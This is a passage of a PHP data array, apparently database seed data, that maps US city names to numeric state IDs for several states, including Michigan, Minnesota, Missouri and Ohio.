'evart'],\n ['state_id' => '3945', 'name' => 'fair haven'],\n ['state_id' => '3945', 'name' => 'fairgrove'],\n ['state_id' => '3945', 'name' => 'farmington'],\n ['state_id' => '3945', 'name' => 'farmington hills'],\n ['state_id' => '3945', 'name' => 'fenton'],\n ['state_id' => '3945', 'name' => 'ferndale'],\n ['state_id' => '3945', 'name' => 'flint'],\n ['state_id' => '3945', 'name' => 'forest hills'],\n ['state_id' => '3945', 'name' => 'fowlerville'],\n ['state_id' => '3945', 'name' => 'frankenmuth'],\n ['state_id' => '3945', 'name' => 'fraser'],\n ['state_id' => '3945', 'name' => 'fremont'],\n ['state_id' => '3945', 'name' => 'fruitport'],\n ['state_id' => '3945', 'name' => 'garden city'],\n ['state_id' => '3945', 'name' => 'goodrich'],\n ['state_id' => '3945', 'name' => 'grand blanc'],\n ['state_id' => '3945', 'name' => 'grand haven'],\n ['state_id' => '3945', 'name' => 'grand rapids'],\n ['state_id' => '3945', 'name' => 'grandville'],\n ['state_id' => '3945', 'name' => 'grosse ile'],\n ['state_id' => '3945', 'name' => 'grosse pointe farms'],\n ['state_id' => '3945', 'name' => 'grosse pointe park'],\n ['state_id' => '3945', 'name' => 'grosse pointe woods'],\n ['state_id' => '3945', 'name' => 'gwinn'],\n ['state_id' => '3945', 'name' => 'hamtramck'],\n ['state_id' => '3945', 'name' => 'hancock'],\n ['state_id' => '3945', 'name' => 'harper woods'],\n ['state_id' => '3945', 'name' => 'harrison'],\n ['state_id' => '3945', 'name' => 'haslett'],\n ['state_id' => '3945', 'name' => 'hazel park'],\n ['state_id' => '3945', 'name' => 'highland park'],\n ['state_id' => '3945', 'name' => 'holland'],\n ['state_id' => '3945', 'name' => 'holly'],\n ['state_id' => '3945', 'name' => 'holt'],\n ['state_id' => '3945', 'name' => 'houghton'],\n ['state_id' => '3945', 'name' => 'hudsonville'],\n ['state_id' => '3945', 'name' => 'huntington woods'],\n ['state_id' => '3945', 'name' => 'imlay'],\n ['state_id' => '3945', 'name' => 'inkster'],\n ['state_id' => '3945', 'name' => 'jackon'],\n ['state_id' => '3945', 'name' => 'jackson'],\n ['state_id' => '3945', 'name' => 'jenison'],\n ['state_id' => '3945', 'name' => 'kalamazoo'],\n ['state_id' => '3945', 'name' => 'kalkaska'],\n ['state_id' => '3945', 'name' => 'kentwood'],\n ['state_id' => '3945', 'name' => 'kingsford'],\n ['state_id' => '3945', 'name' => 'lansing'],\n ['state_id' => '3945', 'name' => 'lapeer'],\n ['state_id' => '3945', 'name' => 'lincoln park'],\n ['state_id' => '3945', 'name' => 'litchfield'],\n ['state_id' => '3945', 'name' => 'livonia'],\n ['state_id' => '3945', 'name' => 'ludington'],\n ['state_id' => '3945', 'name' => 'macomb'],\n ['state_id' => '3945', 'name' => 'madison heights'],\n ['state_id' => '3945', 'name' => 'manistee'],\n ['state_id' => '3945', 'name' => 'marquette'],\n ['state_id' => '3945', 'name' => 'marysville'],\n ['state_id' => '3945', 'name' => 'melvindale'],\n ['state_id' => '3945', 'name' => 'midland'],\n ['state_id' => '3945', 'name' => 'monroe'],\n ['state_id' => '3945', 'name' => 'mount clemens'],\n ['state_id' => '3945', 'name' => 'mount morris'],\n ['state_id' => '3945', 'name' => 'mount pleasant'],\n ['state_id' => '3945', 'name' => 'mt. pleasant'],\n ['state_id' => '3945', 'name' => 'muskegon'],\n ['state_id' => '3945', 'name' => 'muskegon heights'],\n ['state_id' => '3945', 'name' => 'new hudson'],\n ['state_id' => '3945', 'name' => 'newaygo'],\n ['state_id' => '3945', 'name' => 'niles'],\n ['state_id' => '3945', 'name' => 'northview'],\n ['state_id' => '3945', 'name' => 'northville'],\n ['state_id' => '3945', 'name' => 'norton shores'],\n ['state_id' => '3945', 'name' => 'novi'],\n ['state_id' => '3945', 'name' => 'oak park'],\n ['state_id' => '3945', 'name' => 'okemos'],\n ['state_id' => '3945', 'name' => 'oscoda'],\n ['state_id' => '3945', 'name' => 'owosso'],\n ['state_id' => '3945', 'name' => 'oxford'],\n ['state_id' => '3945', 'name' => 'petoskey'],\n ['state_id' => '3945', 'name' => 'pinckney'],\n ['state_id' => '3945', 'name' => 'plymouth township'],\n ['state_id' => '3945', 'name' => 'pontiac'],\n ['state_id' => '3945', 'name' => 'port huron'],\n ['state_id' => '3945', 'name' => 'portage'],\n ['state_id' => '3945', 'name' => 'redford'],\n ['state_id' => '3945', 'name' => 'reese'],\n ['state_id' => '3945', 'name' => 'river rouge'],\n ['state_id' => '3945', 'name' => 'riverview'],\n ['state_id' => '3945', 'name' => 'rochester hills'],\n ['state_id' => '3945', 'name' => 'rockford'],\n ['state_id' => '3945', 'name' => 'romeo'],\n ['state_id' => '3945', 'name' => 'romulus'],\n ['state_id' => '3945', 'name' => 'roseville'],\n ['state_id' => '3945', 'name' => 'royal oak'],\n ['state_id' => '3945', 'name' => 'saginaw'],\n ['state_id' => '3945', 'name' => 'saginaw township north'],\n ['state_id' => '3945', 'name' => 'saginaw township south'],\n ['state_id' => '3945', 'name' => 'saint clair shores'],\n ['state_id' => '3945', 'name' => 'saint louis'],\n ['state_id' => '3945', 'name' => 'saline'],\n ['state_id' => '3945', 'name' => 'saugatuck'],\n ['state_id' => '3945', 'name' => 'sault sainte marie'],\n ['state_id' => '3945', 'name' => 'schoolcraft'],\n ['state_id' => '3945', 'name' => 'shelby'],\n ['state_id' => '3945', 'name' => 'southfield'],\n ['state_id' => '3945', 'name' => 'southgate'],\n ['state_id' => '3945', 'name' => 'sterling heights'],\n ['state_id' => '3945', 'name' => 'sturgis'],\n ['state_id' => '3945', 'name' => 'taylor'],\n ['state_id' => '3945', 'name' => 'traverse city'],\n ['state_id' => '3945', 'name' => 'trenton'],\n ['state_id' => '3945', 'name' => 'troy'],\n ['state_id' => '3945', 'name' => 'walker'],\n ['state_id' => '3945', 'name' => 'walled lake'],\n ['state_id' => '3945', 'name' => 'warren'],\n ['state_id' => '3945', 'name' => 'waterford'],\n ['state_id' => '3945', 'name' => 'waverly'],\n ['state_id' => '3945', 'name' => 'wayne'],\n ['state_id' => '3945', 'name' => 'west bloomfield township'],\n ['state_id' => '3945', 'name' => 'westland'],\n ['state_id' => '3945', 'name' => 'white lake'],\n ['state_id' => '3945', 'name' => 'whitmore lake'],\n ['state_id' => '3945', 'name' => 'williamston'],\n ['state_id' => '3945', 'name' => 'wixom'],\n ['state_id' => '3945', 'name' => 'woodhaven'],\n ['state_id' => '3945', 'name' => 'wyandotte'],\n ['state_id' => '3945', 'name' => 'wyoming'],\n ['state_id' => '3945', 'name' => 'ypsilanti'],\n ['state_id' => '3946', 'name' => 'albert lea'],\n ['state_id' => '3946', 'name' => 'alger'],\n ['state_id' => '3946', 'name' => 'andover'],\n ['state_id' => '3946', 'name' => 'annandale'],\n ['state_id' => '3946', 'name' => 'anoka'],\n ['state_id' => '3946', 'name' => 'apple valley'],\n ['state_id' => '3946', 'name' => 'austin'],\n ['state_id' => '3946', 'name' => 'baxter'],\n ['state_id' => '3946', 'name' => 'bemidji'],\n ['state_id' => '3946', 'name' => 'blaine'],\n ['state_id' => '3946', 'name' => 'blomkest'],\n ['state_id' => '3946', 'name' => 'bloomington'],\n ['state_id' => '3946', 'name' => 'blue earth'],\n ['state_id' => '3946', 'name' => 'brainerd'],\n ['state_id' => '3946', 'name' => 'brooklyn center'],\n ['state_id' => '3946', 'name' => 'brooklyn park'],\n ['state_id' => '3946', 'name' => 'burnsville'],\n ['state_id' => '3946', 'name' => 'champlin'],\n ['state_id' => '3946', 'name' => 'chanhassen'],\n ['state_id' => '3946', 'name' => 'chaska'],\n ['state_id' => '3946', 'name' => 'chatfield'],\n ['state_id' => '3946', 'name' => 'circle pines'],\n ['state_id' => '3946', 'name' => 'cloquet'],\n ['state_id' => '3946', 'name' => 'cokato'],\n ['state_id' => '3946', 'name' => 'columbia heights'],\n ['state_id' => '3946', 'name' => 'coon rapids'],\n ['state_id' => '3946', 'name' => 'cottage grove'],\n ['state_id' => '3946', 'name' => 'crystal'],\n ['state_id' => '3946', 'name' => 'duluth'],\n ['state_id' => '3946', 'name' => 'eagan'],\n ['state_id' => '3946', 'name' => 'east bethel'],\n ['state_id' => '3946', 'name' => 'eden prairie'],\n ['state_id' => '3946', 'name' => 'edina'],\n ['state_id' => '3946', 'name' => 'elk river'],\n ['state_id' => '3946', 'name' => 'ely'],\n ['state_id' => '3946', 'name' => 'fairmont'],\n ['state_id' => '3946', 'name' => 'faribault'],\n ['state_id' => '3946', 'name' => 'farmington'],\n ['state_id' => '3946', 'name' => 'fergus falls'],\n ['state_id' => '3946', 'name' => 'frazee'],\n ['state_id' => '3946', 'name' => 'fridley'],\n ['state_id' => '3946', 'name' => 'golden valley'],\n ['state_id' => '3946', 'name' => 'grand rapids'],\n ['state_id' => '3946', 'name' => 'ham lake'],\n ['state_id' => '3946', 'name' => 'hamel'],\n ['state_id' => '3946', 'name' => 'hastings'],\n ['state_id' => '3946', 'name' => 'hibbing'],\n ['state_id' => '3946', 'name' => 'hopkins'],\n ['state_id' => '3946', 'name' => 'houston'],\n ['state_id' => '3946', 'name' => 'hutchinson'],\n ['state_id' => '3946', 'name' => 'inver grove heights'],\n ['state_id' => '3946', 'name' => 'isanti'],\n ['state_id' => '3946', 'name' => 'lacrescent'],\n ['state_id' => '3946', 'name' => 'lakeville'],\n ['state_id' => '3946', 'name' => 'le sueur'],\n ['state_id' => '3946', 'name' => 'lino lakes'],\n ['state_id' => '3946', 'name' => 'litchfield'],\n ['state_id' => '3946', 'name' => 'mankato'],\n ['state_id' => '3946', 'name' => 'maple grove'],\n ['state_id' => '3946', 'name' => 'maplewood'],\n ['state_id' => '3946', 'name' => 'marshall'],\n ['state_id' => '3946', 'name' => 'mendota heights'],\n ['state_id' => '3946', 'name' => 'minneapolis'],\n ['state_id' => '3946', 'name' => 'minnetonka'],\n ['state_id' => '3946', 'name' => 'moorhead'],\n ['state_id' => '3946', 'name' => 'mounds view'],\n ['state_id' => '3946', 'name' => 'nelson'],\n ['state_id' => '3946', 'name' => 'new brighton'],\n ['state_id' => '3946', 'name' => 'new hope'],\n ['state_id' => '3946', 'name' => 'new ulm'],\n ['state_id' => '3946', 'name' => 'north mankato'],\n ['state_id' => '3946', 'name' => 'north saint paul'],\n ['state_id' => '3946', 'name' => 'northfield'],\n ['state_id' => '3946', 'name' => 'oakdale'],\n ['state_id' => '3946', 'name' => 'onamia'],\n ['state_id' => '3946', 'name' => 'owatonna'],\n ['state_id' => '3946', 'name' => 'pequot lakes'],\n ['state_id' => '3946', 'name' => 'plymouth'],\n ['state_id' => '3946', 'name' => 'prior lake'],\n ['state_id' => '3946', 'name' => 'ramsey'],\n ['state_id' => '3946', 'name' => 'red wing'],\n ['state_id' => '3946', 'name' => 'renville'],\n ['state_id' => '3946', 'name' => 'richfield'],\n ['state_id' => '3946', 'name' => 'robbinsdale'],\n ['state_id' => '3946', 'name' => 'rochester'],\n ['state_id' => '3946', 'name' => 'rosemount'],\n ['state_id' => '3946', 'name' => 'roseville'],\n ['state_id' => '3946', 'name' => 'royalton'],\n ['state_id' => '3946', 'name' => 'saint cloud'],\n ['state_id' => '3946', 'name' => 'saint louis park'],\n ['state_id' => '3946', 'name' => 'saint michael'],\n ['state_id' => '3946', 'name' => 'saint paul'],\n ['state_id' => '3946', 'name' => 'saint peter'],\n ['state_id' => '3946', 'name' => 'sauk rapids'],\n ['state_id' => '3946', 'name' => 'savage'],\n ['state_id' => '3946', 'name' => 'shakopee'],\n ['state_id' => '3946', 'name' => 'shoreview'],\n ['state_id' => '3946', 'name' => 'south saint paul'],\n ['state_id' => '3946', 'name' => 'st. paul'],\n ['state_id' => '3946', 'name' => 'stewartville'],\n ['state_id' => '3946', 'name' => 'stillwater'],\n ['state_id' => '3946', 'name' => 'vadnais heights'],\n ['state_id' => '3946', 'name' => 'waconia'],\n ['state_id' => '3946', 'name' => 'wadena'],\n ['state_id' => '3946', 'name' => 'west saint paul'],\n ['state_id' => '3946', 'name' => 'white bear lake'],\n ['state_id' => '3946', 'name' => 'willmar'],\n ['state_id' => '3946', 'name' => 'winona'],\n ['state_id' => '3946', 'name' => 'woodbury'],\n ['state_id' => '3946', 'name' => 'worthington'],\n ['state_id' => '3947', 'name' => 'bay saint louis'],\n ['state_id' => '3947', 'name' => 'biloxi'],\n ['state_id' => '3947', 'name' => 'brandon'],\n ['state_id' => '3947', 'name' => 'brookhaven'],\n ['state_id' => '3947', 'name' => 'byhalia'],\n ['state_id' => '3947', 'name' => 'byram'],\n ['state_id' => '3947', 'name' => 'canton'],\n ['state_id' => '3947', 'name' => 'clarksdale'],\n ['state_id' => '3947', 'name' => 'cleveland'],\n ['state_id' => '3947', 'name' => 'clinton'],\n ['state_id' => '3947', 'name' => 'columbus'],\n ['state_id' => '3947', 'name' => 'corinth'],\n ['state_id' => '3947', 'name' => 'diamondhead'],\n ['state_id' => '3947', 'name' => 'gautier'],\n ['state_id' => '3947', 'name' => 'greenville'],\n ['state_id' => '3947', 'name' => 'greenwood'],\n ['state_id' => '3947', 'name' => 'grenada'],\n ['state_id' => '3947', 'name' => 'gulfport'],\n ['state_id' => '3947', 'name' => 'hattiesburg'],\n ['state_id' => '3947', 'name' => 'hernando'],\n ['state_id' => '3947', 'name' => 'horn lake'],\n ['state_id' => '3947', 'name' => 'indianola'],\n ['state_id' => '3947', 'name' => 'jackson'],\n ['state_id' => '3947', 'name' => 'laurel'],\n ['state_id' => '3947', 'name' => 'long beach'],\n ['state_id' => '3947', 'name' => 'lucedale'],\n ['state_id' => '3947', 'name' => 'maccomb'],\n ['state_id' => '3947', 'name' => 'madison'],\n ['state_id' => '3947', 'name' => 'magnolia'],\n ['state_id' => '3947', 'name' => 'meridian'],\n ['state_id' => '3947', 'name' => 'michigan city'],\n ['state_id' => '3947', 'name' => 'moselle'],\n ['state_id' => '3947', 'name' => 'moss point'],\n ['state_id' => '3947', 'name' => 'natchez'],\n ['state_id' => '3947', 'name' => 'ocean springs'],\n ['state_id' => '3947', 'name' => 'olive branch'],\n ['state_id' => '3947', 'name' => 'orange grove'],\n ['state_id' => '3947', 'name' => 'oxford'],\n ['state_id' => '3947', 'name' => 'pascagoula'],\n ['state_id' => '3947', 'name' => 'pearl'],\n ['state_id' => '3947', 'name' => 'pelahatchie'],\n ['state_id' => '3947', 'name' => 'picayune'],\n ['state_id' => '3947', 'name' => 'quitman'],\n ['state_id' => '3947', 'name' => 'ridgeland'],\n ['state_id' => '3947', 'name' => 'senatobia'],\n ['state_id' => '3947', 'name' => 'southaven'],\n ['state_id' => '3947', 'name' => 'southhaven'],\n ['state_id' => '3947', 'name' => 'starkville'],\n ['state_id' => '3947', 'name' => 'tupelo'],\n ['state_id' => '3947', 'name' => 'utica'],\n ['state_id' => '3947', 'name' => 'vicksburg'],\n ['state_id' => '3947', 'name' => 'yazoo city'],\n ['state_id' => '3948', 'name' => 'affton'],\n ['state_id' => '3948', 'name' => 'annapolis'],\n ['state_id' => '3948', 'name' => 'arnold'],\n ['state_id' => '3948', 'name' => 'ballwin'],\n ['state_id' => '3948', 'name' => 'belgique'],\n ['state_id' => '3948', 'name' => 'bellefontaine neighbors'],\n ['state_id' => '3948', 'name' => 'belton'],\n ['state_id' => '3948', 'name' => 'berkeley'],\n ['state_id' => '3948', 'name' => 'blue springs'],\n ['state_id' => '3948', 'name' => 'branson'],\n ['state_id' => '3948', 'name' => 'bridgeton'],\n ['state_id' => '3948', 'name' => 'brighton'],\n ['state_id' => '3948', 'name' => 'california'],\n ['state_id' => '3948', 'name' => 'camdenton'],\n ['state_id' => '3948', 'name' => 'cape girardeau'],\n ['state_id' => '3948', 'name' => 'carthage'],\n ['state_id' => '3948', 'name' => 'chaffee'],\n ['state_id' => '3948', 'name' => 'chesterfield'],\n ['state_id' => '3948', 'name' => 'chillicothe'],\n ['state_id' => '3948', 'name' => 'clayton'],\n ['state_id' => '3948', 'name' => 'clever'],\n ['state_id' => '3948', 'name' => 'columbia'],\n ['state_id' => '3948', 'name' => 'concord'],\n ['state_id' => '3948', 'name' => 'crestwood'],\n ['state_id' => '3948', 'name' => 'creve coeur'],\n ['state_id' => '3948', 'name' => 'desloge'],\n ['state_id' => '3948', 'name' => 'dora'],\n ['state_id' => '3948', 'name' => 'earth city'],\n ['state_id' => '3948', 'name' => 'excelsior springs'],\n ['state_id' => '3948', 'name' => 'farmington'],\n ['state_id' => '3948', 'name' => 'fenton'],\n ['state_id' => '3948', 'name' => 'ferguson'],\n ['state_id' => '3948', 'name' => 'florissant'],\n ['state_id' => '3948', 'name' => 'forsyth'],\n ['state_id' => '3948', 'name' => 'fort leonard wood'],\n ['state_id' => '3948', 'name' => 'fulton'],\n ['state_id' => '3948', 'name' => 'gladstone'],\n ['state_id' => '3948', 'name' => 'grain valley'],\n ['state_id' => '3948', 'name' => 'grandview'],\n ['state_id' => '3948', 'name' => 'gravois mills'],\n ['state_id' => '3948', 'name' => 'hannibal'],\n ['state_id' => '3948', 'name' => 'harrisonville'],\n ['state_id' => '3948', 'name' => 'hazelwood'],\n ['state_id' => '3948', 'name' => 'high ridge'],\n ['state_id' => '3948', 'name' => 'independence'],\n ['state_id' => '3948', 'name' => 'jackson'],\n ['state_id' => '3948', 'name' => 'jefferson city'],\n ['state_id' => '3948', 'name' => 'jennings'],\n ['state_id' => '3948', 'name' => 'joplin'],\n ['state_id' => '3948', 'name' => 'kansas city'],\n ['state_id' => '3948', 'name' => 'kennett'],\n ['state_id' => '3948', 'name' => 'kirksville'],\n ['state_id' => '3948', 'name' => 'kirkwood'],\n ['state_id' => '3948', 'name' => 'kissee mills'],\n ['state_id' => '3948', 'name' => 'lamar'],\n ['state_id' => '3948', 'name' => 'lebanon'],\n ['state_id' => '3948', 'name' => 'lees summit'],\n ['state_id' => '3948', 'name' => 'lemay'],\n ['state_id' => '3948', 'name' => 'liberty'],\n ['state_id' => '3948', 'name' => 'lone jack'],\n ['state_id' => '3948', 'name' => 'marshall'],\n ['state_id' => '3948', 'name' => 'maryland heights'],\n ['state_id' => '3948', 'name' => 'maryville'],\n ['state_id' => '3948', 'name' => 'mehlville'],\n ['state_id' => '3948', 'name' => 'mexico'],\n ['state_id' => '3948', 'name' => 'moberly'],\n ['state_id' => '3948', 'name' => 'murphy'],\n ['state_id' => '3948', 'name' => 'nixa'],\n ['state_id' => '3948', 'name' => 'o\\'fallon'],\n ['state_id' => '3948', 'name' => 'oakville'],\n ['state_id' => '3948', 'name' => 'overland'],\n ['state_id' => '3948', 'name' => 'pacific'],\n ['state_id' => '3948', 'name' => 'park hills'],\n ['state_id' => '3948', 'name' => 'parkville'],\n ['state_id' => '3948', 'name' => 'peculiar'],\n ['state_id' => '3948', 'name' => 'poplar bluff'],\n ['state_id' => '3948', 'name' => 'raytown'],\n ['state_id' => '3948', 'name' => 'richmond heights'],\n ['state_id' => '3948', 'name' => 'rolla'],\n ['state_id' => '3948', 'name' => 'saint ann'],\n ['state_id' => '3948', 'name' => 'saint charles'],\n ['state_id' => '3948', 'name' => 'saint clair'],\n ['state_id' => '3948', 'name' => 'saint joseph'],\n ['state_id' => '3948', 'name' => 'saint louis'],\n ['state_id' => '3948', 'name' => 'saint peters'],\n ['state_id' => '3948', 'name' => 'sappington'],\n ['state_id' => '3948', 'name' => 'sedalia'],\n ['state_id' => '3948', 'name' => 'sikeston'],\n ['state_id' => '3948', 'name' => 'spanish lake'],\n ['state_id' => '3948', 'name' => 'springfield'],\n ['state_id' => '3948', 'name' => 'st. louis'],\n ['state_id' => '3948', 'name' => 'steelville'],\n ['state_id' => '3948', 'name' => 'sunrise beach'],\n ['state_id' => '3948', 'name' => 'town and country'],\n ['state_id' => '3948', 'name' => 'trimble'],\n ['state_id' => '3948', 'name' => 'troy'],\n ['state_id' => '3948', 'name' => 'university city'],\n ['state_id' => '3948', 'name' => 'warrensburg'],\n ['state_id' => '3948', 'name' => 'washington'],\n ['state_id' => '3948', 'name' => 'webb city'],\n ['state_id' => '3948', 'name' => 'webster groves'],\n ['state_id' => '3948', 'name' => 'wentzville'],\n ['state_id' => '3948', 'name' => 'west plains'],\n ['state_id' => '3948', 'name' => 'wildwood'],\n ['state_id' => '3949', 'name' => 'anaconda-deer lodge county'],\n ['state_id' => '3949', 'name' => 'arlee'],\n ['state_id' => '3949', 'name' => 'belgrade'],\n ['state_id' => '3949', 'name' => 'billings'],\n ['state_id' => '3949', 'name' => 'bozeman'],\n ['state_id' => '3949', 'name' => 'butte'],\n ['state_id' => '3949', 'name' => 'butte-silver bow'],\n ['state_id' => '3949', 'name' => 'great falls'],\n ['state_id' => '3949', 'name' => 'hamilton'],\n ['state_id' => '3949', 'name' => 'havre'],\n ['state_id' => '3949', 'name' => 'helena'],\n ['state_id' => '3949', 'name' => 'helena valley southeast'],\n ['state_id' => '3949', 'name' => 'helena valley west central'],\n ['state_id' => '3949', 'name' => 'kalispell'],\n ['state_id' => '3949', 'name' => 'lame deer'],\n ['state_id' => '3949', 'name' => 'laurel'],\n ['state_id' => '3949', 'name' => 'lewistown'],\n ['state_id' => '3949', 'name' => 'livingston'],\n ['state_id' => '3949', 'name' => 'malmstrom air force base'],\n ['state_id' => '3949', 'name' => 'manhattan'],\n ['state_id' => '3949', 'name' => 'miles city'],\n ['state_id' => '3949', 'name' => 'missoula'],\n ['state_id' => '3949', 'name' => 'orchard homes'],\n ['state_id' => '3949', 'name' => 'pablo'],\n ['state_id' => '3949', 'name' => 'polson'],\n ['state_id' => '3949', 'name' => 'roberts'],\n ['state_id' => '3949', 'name' => 'ryegate'],\n ['state_id' => '3949', 'name' => 'sidney'],\n ['state_id' => '3949', 'name' => 'stevensville'],\n ['state_id' => '3949', 'name' => 'whitefish'],\n ['state_id' => '3950', 'name' => 'beatrice'],\n ['state_id' => '3950', 'name' => 'bellevue'],\n ['state_id' => '3950', 'name' => 'central city'],\n ['state_id' => '3950', 'name' => 'columbus'],\n ['state_id' => '3950', 'name' => 'cozad'],\n ['state_id' => '3950', 'name' => 'creighton'],\n ['state_id' => '3950', 'name' => 'fremont'],\n ['state_id' => '3950', 'name' => 'gering'],\n ['state_id' => '3950', 'name' => 'grand island'],\n ['state_id' => '3950', 'name' => 'hastings'],\n ['state_id' => '3950', 'name' => 'homer'],\n ['state_id' => '3950', 'name' => 'keamey'],\n ['state_id' => '3950', 'name' => 'kearney'],\n ['state_id' => '3950', 'name' => 'la vista'],\n ['state_id' => '3950', 'name' => 'lexington'],\n ['state_id' => '3950', 'name' => 'lincoln'],\n ['state_id' => '3950', 'name' => 'mccook'],\n ['state_id' => '3950', 'name' => 'norfolk'],\n ['state_id' => '3950', 'name' => 'north platte'],\n ['state_id' => '3950', 'name' => 'offutt air force base west'],\n ['state_id' => '3950', 'name' => 'ogallala'],\n ['state_id' => '3950', 'name' => 'omaha'],\n ['state_id' => '3950', 'name' => 'papillion'],\n ['state_id' => '3950', 'name' => 'scottsbluff'],\n ['state_id' => '3950', 'name' => 'south sioux city'],\n ['state_id' => '3951', 'name' => 'boulder city'],\n ['state_id' => '3951', 'name' => 'carson city'],\n ['state_id' => '3951', 'name' => 'elko'],\n ['state_id' => '3951', 'name' => 'goldfield'],\n ['state_id' => '3951', 'name' => 'henderson'],\n ['state_id' => '3951', 'name' => 'las vegas'],\n ['state_id' => '3951', 'name' => 'laughlin'],\n ['state_id' => '3951', 'name' => 'lovelock'],\n ['state_id' => '3951', 'name' => 'mesquite'],\n ['state_id' => '3951', 'name' => 'nellis air force base'],\n ['state_id' => '3951', 'name' => 'north las vegas'],\n ['state_id' => '3951', 'name' => 'pahrump'],\n ['state_id' => '3951', 'name' => 'paradise'],\n ['state_id' => '3951', 'name' => 'reno'],\n ['state_id' => '3951', 'name' => 'sparks'],\n ['state_id' => '3951', 'name' => 'spring valley'],\n ['state_id' => '3951', 'name' => 'sun valley'],\n ['state_id' => '3951', 'name' => 'sunrise manor'],\n ['state_id' => '3951', 'name' => 'winchester'],\n ['state_id' => '3951', 'name' => 'winnemucca'],\n ['state_id' => '3959', 'name' => 'akron'],\n ['state_id' => '3959', 'name' => 'alledonia'],\n ['state_id' => '3959', 'name' => 'alliance'],\n ['state_id' => '3959', 'name' => 'amherst'],\n ['state_id' => '3959', 'name' => 'apple creek'],\n ['state_id' => '3959', 'name' => 'archbold'],\n ['state_id' => '3959', 'name' => 'ashland'],\n ['state_id' => '3959', 'name' => 'ashtabula'],\n ['state_id' => '3959', 'name' => 'athens'],\n ['state_id' => '3959', 'name' => 'atwater'],\n ['state_id' => '3959', 'name' => 'aurora'],\n ['state_id' => '3959', 'name' => 'austintown'],\n ['state_id' => '3959', 'name' => 'avon lake'],\n ['state_id' => '3959', 'name' => 'barberton'],\n ['state_id' => '3959', 'name' => 'batavia'],\n ['state_id' => '3959', 'name' => 'bay village'],\n ['state_id' => '3959', 'name' => 'beachwood'],\n ['state_id' => '3959', 'name' => 'beavercreek'],\n ['state_id' => '3959', 'name' => 'bedford'],\n ['state_id' => '3959', 'name' => 'bedford heights'],\n ['state_id' => '3959', 'name' => 'bellaire'],\n ['state_id' => '3959', 'name' => 'bellefontaine'],\n ['state_id' => '3959', 'name' => 'bellevue'],\n ['state_id' => '3959', 'name' => 'berea'],\n ['state_id' => '3959', 'name' => 'bexley'],\n ['state_id' => '3959', 'name' => 'blacklick'],\n ['state_id' => '3959', 'name' => 'blacklick estates'],\n ['state_id' => '3959', 'name' => 'blanchester'],\n ['state_id' => '3959', 'name' => 'blue ash'],\n ['state_id' => '3959', 'name' => 'boardman'],\n ['state_id' => '3959', 'name' => 'bowling green'],\n ['state_id' => '3959', 'name' => 'brecksville'],\n ['state_id' => '3959', 'name' => 'bridgetown north'],\n ['state_id' => '3959', 'name' => 'bristolville'],\n ['state_id' => '3959', 'name' => 'broadview heights'],\n ['state_id' => '3959', 'name' => 'brook park'],\n ['state_id' => '3959', 'name' => 'brooklyn'],\n ['state_id' => '3959', 'name' => 'brunswick'],\n ['state_id' => '3959', 'name' => 'bryan'],\n ['state_id' => '3959', 'name' => 'bucyrus'],\n ['state_id' => '3959', 'name' => 'burton'],\n ['state_id' => '3959', 'name' => 'cambridge'],\n ['state_id' => '3959', 'name' => 'campbell'],\n ['state_id' => '3959', 'name' => 'canal winchester'],\n ['state_id' => '3959', 'name' => 'canton'],\n ['state_id' => '3959', 'name' => 'carlisle'],\n ['state_id' => '3959', 'name' => 'celina'],\n ['state_id' => '3959', 'name' => 'centerville'],\n ['state_id' => '3959', 'name' => 'chagrin falls'],\n ['state_id' => '3959', 'name' => 'chardon'],\n ['state_id' => '3959', 'name' => 'cheshire'],\n ['state_id' => '3959', 'name' => 'chillicothe'],\n ['state_id' => '3959', 'name' => 'chippewa lake'],\n ['state_id' => '3959', 'name' => 'cincinnati'],\n ['state_id' => '3959', 'name' => 'circleville'],\n ['state_id' => '3959', 'name' => 'cleveland'],\n ['state_id' => '3959', 'name' => 'cleveland heights'],\n ['state_id' => '3959', 'name' => 'columbus'],\n ['state_id' => '3959', 'name' => 'conneaut'],\n ['state_id' => '3959', 'name' => 'coshocton'],\n ['state_id' => '3959', 'name' => 'cuyahoga falls'],\n ['state_id' => '3959', 'name' => 'dayton'],\n ['state_id' => '3959', 'name' => 'defiance'],\n ['state_id' => '3959', 'name' => 'delaware'],\n ['state_id' => '3959', 'name' => 'dover'],\n ['state_id' => '3959', 'name' => 'dublin'],\n ['state_id' => '3959', 'name' => 'east cleveland'],\n ['state_id' => '3959', 'name' => 'east liverpool'],\n ['state_id' => '3959', 'name' => 'eastlake'],\n ['state_id' => '3959', 'name' => 'elyria'],\n ['state_id' => '3959', 'name' => 'englewood'],\n ['state_id' => '3959', 'name' => 'euclid'],\n ['state_id' => '3959', 'name' => 'fairborn'],\n ['state_id' => '3959', 'name' => 'fairfield'],\n ['state_id' => '3959', 'name' => 'fairview park'],\n ['state_id' => '3959', 'name' => 'findlay'],\n ['state_id' => '3959', 'name' => 'finneytown'],\n ['state_id' => '3959', 'name' => 'forest park'],\n ['state_id' => '3959', 'name' => 'fort mackinley'],\n ['state_id' => '3959', 'name' => 'fostoria'],\n ['state_id' => '3959', 'name' => 'fremont'],\n ['state_id' => '3959', 'name' => 'gahanna'],\n ['state_id' => '3959', 'name' => 'galion'],\n ['state_id' => '3959', 'name' => 'garfield heights'],\n ['state_id' => '3959', 'name' => 'girard'],\n ['state_id' => '3959', 'name' => 'glenwillow'],\n ['state_id' => '3959', 'name' => 'green'],\n ['state_id' => '3959', 'name' => 'greenville'],\n ['state_id' => '3959', 'name' => 'grove city'],\n ['state_id' => '3959', 'name' => 'hamilton'],\n ['state_id' => '3959', 'name' => 'harrison'],\n ['state_id' => '3959', 'name' => 'hilliard'],\n ['state_id' => '3959', 'name' => 'hiram'],\n ['state_id' => '3959', 'name' => 'holland'],\n ['state_id' => '3959', 'name' => 'huber heights'],\n ['state_id' => '3959', 'name' => 'hudson'],\n ['state_id' => '3959', 'name' => 'ironton'],\n ['state_id' => '3959', 'name' => 'kent'],\n ['state_id' => '3959', 'name' => 'kettering'],\n ['state_id' => '3959', 'name' => 'kidron'],\n ['state_id' => '3959', 'name' => 'lakewood'],\n ['state_id' => '3959', 'name' => 'lancaster'],\n ['state_id' => '3959', 'name' => 'lebanon'],\n ['state_id' => '3959', 'name' => 'lewis center'],\n ['state_id' => '3959', 'name' => 'lima'],\n ['state_id' => '3959', 'name' => 'lincoln village'],\n ['state_id' => '3959', 'name' => 'lorain'],\n ['state_id' => '3959', 'name' => 'loveland'],\n ['state_id' => '3959', 'name' => 'lyndhurst'],\n ['state_id' => '3959', 'name' => 'macedonia'],\n ['state_id' => '3959', 'name' => 'madison'],\n ['state_id' => '3959', 'name' => 'maineville'],\n ['state_id' => '3959', 'name' => 